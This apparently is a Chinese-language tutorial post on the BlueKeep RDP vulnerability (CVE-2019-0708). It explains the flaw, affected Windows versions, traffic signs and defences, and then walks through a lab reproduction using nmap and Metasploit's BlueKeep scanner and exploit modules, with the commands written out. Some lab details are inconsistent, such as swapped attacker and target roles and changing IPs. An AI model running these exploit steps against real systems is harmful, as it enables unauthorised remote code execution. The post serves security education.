漏洞原理
Windows远程桌面内核驱动处理MS_T120通道时（管理数据传输时）没有对数据的数据包进行验证限制，没有将信道的指针删除（之后会回来访问恶意的数据包），攻击者无需认证即可向RDP服务（3389端口）发送恶意数据包，受害机在接收到恶意数据的时候，系统就会释放一些内存，之后还会去调用恶意的数据包。之后攻击者通过篡改调用的函数指针指向恶意的数据包，获取当前系统信息。
所在网络层：会话层
端口号：3389
影响版本
目前已知受影响的 Windows 版本包括但不限于：
Windows 7
Windows Server 2008
Windows Server 2008 R2
Windows Server 2003
Windows XP
Windows 8 和 windows10 以及之后的版本不受此漏洞影响
流量特征
(1)RDP 协议中的特殊数据包构造
攻击者会通过 RDP 协议(默认端口 3389)发送特制数据包，触发目标系统释放内部信道MS T120 的控制结构体，并利用其未正确清除的指针实现远程代码执行数据包中可能包含异常的 MS T120 信道请求。
(2)预身份验证阶段的异常行为
由于该漏洞是预身份验证漏洞,攻击流量会在用户未登录或未完成身份验证时直接发送恶意请求，表现为 未完成完整 RDP 握手流程的异常连接尝试
(3)扫描活动的流量特征
攻击前通常会进行大规模扫描，检测开放 3389 端口的设备。例如使用 Metasploit 的auxiliary/scanner/rdp/cve 2019 0708 bluekeep 模块，生成包含特定漏洞检测标志的 RDP 流量
扫描流量可能来自 Tor 出口节点或匿名代理，以隐藏攻击者真实 IP。
防御措施：
安装补丁
要求身份验证
关闭3389端口的一些服务
写入复杂密码
更新系统
靶场复现
攻击机 win7 IP：192.168.3.164
靶机 kali IP：192。168.3.150
- 登录kali，用nmap探测本网段存活主机
nmap 192.168.3.0/24
- 使用kali的msf模块，启用msfconsole
- search CVE-2019-0708 搜索CVE-2019-0708 漏洞模块
- 这里编号0为探测模块 编号1、2、3为攻击模块
我们先使用编号为0的模块探索目标主机是否有漏洞
对靶机进行漏洞扫描：
使用模块：
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
设置目标IP或网段：
set rhosts 192.168.3.164
run进行执行，这里我用的是win7，但是探测没有提示有可以执行的漏洞，应该是已经打上了补丁，所以我切换xp进行复现
这是切换成xp的结果，对比可以发现win7并没有探测出漏洞
使用攻击模块，对靶机进行攻击
使用攻击模块：
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
设置攻击目标IP
set rhosts 192.168.3.119
show targets
1是真实机器，这里根据真实情况，选择5
当前攻击配置
show options
补充知识
msfconsole 是 Metasploit Framework 的命令行界面（CLI）工具，它是一个强大的开源渗透测试框架，用于开发和执行利用代码（exploits）来测试和发现计算机系统的漏洞。Metasploit 框架广泛应用于网络安全领域，尤其是在渗透测试和漏洞利用方面。
msfconsole 的主要功能和特点：
- 命令行界面：msfconsole 提供了一个交互式的命令行界面，用户可以通过它来使用 Metasploit 的各种功能，执行渗透测试、利用漏洞、攻击目标系统等。
- 漏洞利用：Metasploit 包含了大量的漏洞利用模块（Exploits），这些模块可以针对已知的漏洞进行攻击，比如远程代码执行、SQL 注入、Web 应用程序漏洞等。
- Payloads：Metasploit 提供了多种 payloads（有效载荷），这些是攻击者用于在目标系统上执行恶意代码的工具。例如，反向 shell、Meterpreter 会话等。
- Post-exploitation：在成功利用漏洞后，Metasploit 可以用来进行后续的攻击和信息收集，包括获取目标系统的控制权限、提取密码、记录键盘输入等。
- 模块化：Metasploit 框架采用模块化设计，用户可以加载不同类型的模块，包括：
Exploits：用于利用目标系统漏洞的模块。
Payloads：用于执行攻击后的任务，如获取远程控制。
Auxiliary：辅助模块，如端口扫描、服务识别等。
Post：用于攻击成功后进行的操作，如窃取信息等。
- 自动化与集成：Metasploit 提供了一些脚本化功能，可以自动化攻击流程，帮助渗透测试人员快速识别和利用漏洞。
Metasploit Framework 是一个开源的渗透测试工具，主要用于发现和利用计算机系统中的安全漏洞。它提供了一套完整的工具集，帮助安全研究人员、渗透测试人员以及系统管理员进行漏洞扫描、攻击模拟和安全测试。Metasploit 能够帮助用户识别目标系统中的弱点并进行攻击模拟，检测系统的防御能力。msfconsole是它的一部分，即为用户提供了命令行界面。
来源：程序园用户自行投稿发布，如果侵权，请联系站长删除
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！ |
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
千斤顶
照妖镜
